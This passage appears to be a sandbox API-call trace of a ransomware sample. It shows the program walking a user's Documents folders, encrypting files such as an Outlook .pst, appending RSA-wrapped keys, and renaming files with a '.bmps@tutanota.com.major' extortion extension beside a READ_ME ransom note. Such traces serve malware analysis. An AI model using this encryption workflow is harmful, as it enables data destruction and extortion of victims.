hFile=0x6b4, lDistanceToMove=-216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.753] WriteFile (in: hFile=0x6b4, lpBuffer=0x5aa568*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5aa568*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd8, lpOverlapped=0x0) returned 1 [0155.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0155.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0155.753] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd8 [0155.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.753] WriteFile (in: hFile=0x6b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.754] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.754] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="auTcG2wVFuu8YbboRW868lUi4JILg41IBHuZz+gSBRx8jxl9IVYIgDjpNmxsvMZO\nqBP3bcCHUVXkEd1C8rEEUcFE/luN8NDKONSUoPbQjNzjgjJJwAF/oMpbCeBE9YyR\nICvwHbTrrj3QaBHG3SwmbJIWRhCdsa3AewdrMLftQC94uBOuAoNHn6NMdM8qR2eD\nwHb92s3oEaPlDmHtlLHr1ETj6vZaW1JuPRZZEOLowCNs1wJFuB877iukOcnxM5tT\ntLeyw2VKc7kT48VPqPMPXHhbkmVQ3b7RzQ6KMO4IOF8pVAMPuC08OwFGR7L3Cic3\nY8JOpA90GpvVoyAopvUwPw==\n", pcchString=0x2e3f9a8) returned 1 [0155.754] WriteFile (in: hFile=0x6b4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.754] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.754] WriteFile (in: hFile=0x6b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.754] CloseHandle (hObject=0x6b4) returned 1 [0155.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.754] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Documents\\My Shapes\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0155.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be4d0 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0155.783] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\My Videos\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0155.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be630 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0155.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0155.783] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xddc1fe1e, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x16eadeb6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631840 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0155.784] GetLastError () returned 0x5 [0155.784] SetLastError (dwErrCode=0x5) [0155.784] GetLastError () returned 0x5 [0155.784] SetLastError (dwErrCode=0x5) [0155.784] GetLastError () returned 0x5 [0155.784] SetLastError (dwErrCode=0x5) [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631280 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631280 | out: hHeap=0x570000) returned 1 [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.784] FindNextFileW (in: hFindFile=0x631840, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xddc1fe1e, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x16eadeb6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.784] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0155.784] GetLastError () returned 0x5 [0155.784] SetLastError (dwErrCode=0x5) [0155.784] GetLastError () returned 0x5 [0155.784] SetLastError (dwErrCode=0x5) [0155.784] GetLastError () returned 0x5 [0155.784] SetLastError (dwErrCode=0x5) [0155.784] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6313c0 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6313c0 | out: hHeap=0x570000) returned 1 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.785] FindNextFileW (in: hFindFile=0x631840, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa736477a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa736477a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddbf9d33, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="kkcie@kdj.kd.pst", cAlternateFileName="KKCIE@~1.PST")) returned 1 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.785] GetLastError () returned 0x5 [0155.785] SetLastError (dwErrCode=0x5) [0155.785] GetLastError () returned 0x5 [0155.785] SetLastError (dwErrCode=0x5) [0155.785] GetLastError () returned 0x5 [0155.785] SetLastError (dwErrCode=0x5) [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0155.785] FindNextFileW (in: hFindFile=0x631840, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16eadeb6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x16eadeb6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1702b61f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0155.785] GetLastError () returned 0x5 [0155.785] SetLastError (dwErrCode=0x5) [0155.785] GetLastError () returned 0x5 [0155.785] SetLastError (dwErrCode=0x5) [0155.785] GetLastError () returned 0x5 [0155.785] SetLastError (dwErrCode=0x5) [0155.785] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.785] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.785] FindNextFileW (in: hFindFile=0x631840, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16eadeb6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x16eadeb6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1702b61f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0155.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.786] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.786] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", dwFileAttributes=0x80) returned 1 [0155.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0155.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0155.786] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0155.786] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0155.787] GetFileSizeEx (in: hFile=0x6b8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=271360) returned 1 [0155.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42400) returned 0x2e60f28 [0155.787] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x42400) returned 0x2ea3330 [0155.787] ReadFile (in: hFile=0x6b8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x42400, lpOverlapped=0x0) returned 1 [0156.057] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=-271360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.057] WriteFile (in: hFile=0x6b8, lpBuffer=0x2ea3330*, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea3330*, lpNumberOfBytesWritten=0x2e3f9b4*=0x42400, lpOverlapped=0x0) returned 1 [0156.058] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.058] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea3330 | out: hHeap=0x570000) returned 1 [0156.059] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x42400 [0156.059] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.059] WriteFile (in: hFile=0x6b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.059] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.059] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.060] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.060] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="NOshtLV5gTb07UWEBajyH44Fc0j7AINhITPH8jixdPdzTqnk+ZXb97OwZQQNmZEh\nefXphOIyGGVcSmRnJj2lGfQFc3Av167DQBDpEkPR5ShKFu4Y2KBzHZzNw+wY6yVM\nbsAJkkf5zYHkJeXZr640dfCORc5BXdw9iExhxP6KUnJb5edwC/BHpGQft9d0zsOB\ndVzJ1PctHxvmFYibqUcJ7Bca1HtJu2XW0FFXHib8iBRpam8M/j+Nkg6uvELENJvc\n1p54lhZjhOyzaod30xzHAYktAwNO/i22ZZAbUuHOeUvHWNqIVcNYOZ5X6oaVTTGZ\noynA++Fl233a9WucNksDHA==\n", pcchString=0x2e3f9a8) returned 1 [0156.060] WriteFile (in: hFile=0x6b8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.060] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.060] WriteFile (in: hFile=0x6b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.060] CloseHandle (hObject=0x6b8) returned 1 [0156.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.060] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), lpNewFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0156.062] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafd00300, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x8d2c8fc0, ftLastAccessTime.dwHighDateTime=0x1d4c825, ftLastWriteTime.dwLowDateTime=0x17051aa5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631100 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0156.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0156.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0156.063] GetLastError () returned 0x0 [0156.063] SetLastError (dwErrCode=0x0) [0156.063] GetLastError () returned 0x0 [0156.063] SetLastError (dwErrCode=0x0) [0156.063] GetLastError () returned 0x0 [0156.063] SetLastError (dwErrCode=0x0) [0156.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0156.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0156.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0156.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631300 [0156.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631300 | out: hHeap=0x570000) returned 1 [0156.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0156.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0156.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0156.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.063] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafd00300, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x8d2c8fc0, ftLastAccessTime.dwHighDateTime=0x1d4c825, ftLastWriteTime.dwLowDateTime=0x17051aa5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0156.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0156.063] GetLastError () returned 0x0 [0156.063] SetLastError (dwErrCode=0x0) [0156.063] GetLastError () returned 0x0 [0156.063] SetLastError (dwErrCode=0x0) [0156.063] GetLastError () returned 0x0 [0156.063] SetLastError (dwErrCode=0x0) [0156.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6311c0 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6311c0 | out: hHeap=0x570000) returned 1 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.064] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9de40c0, ftCreationTime.dwHighDateTime=0x1d4d56d, ftLastAccessTime.dwLowDateTime=0x7318c620, ftLastAccessTime.dwHighDateTime=0x1d4c70e, ftLastWriteTime.dwLowDateTime=0x7318c620, ftLastWriteTime.dwHighDateTime=0x1d4c70e, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="0XP1ibgaW3KvAg.ots", cAlternateFileName="0XP1IB~1.OTS")) returned 1 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0156.064] GetLastError () returned 0x0 [0156.064] SetLastError (dwErrCode=0x0) [0156.064] GetLastError () returned 0x0 [0156.064] SetLastError (dwErrCode=0x0) [0156.064] 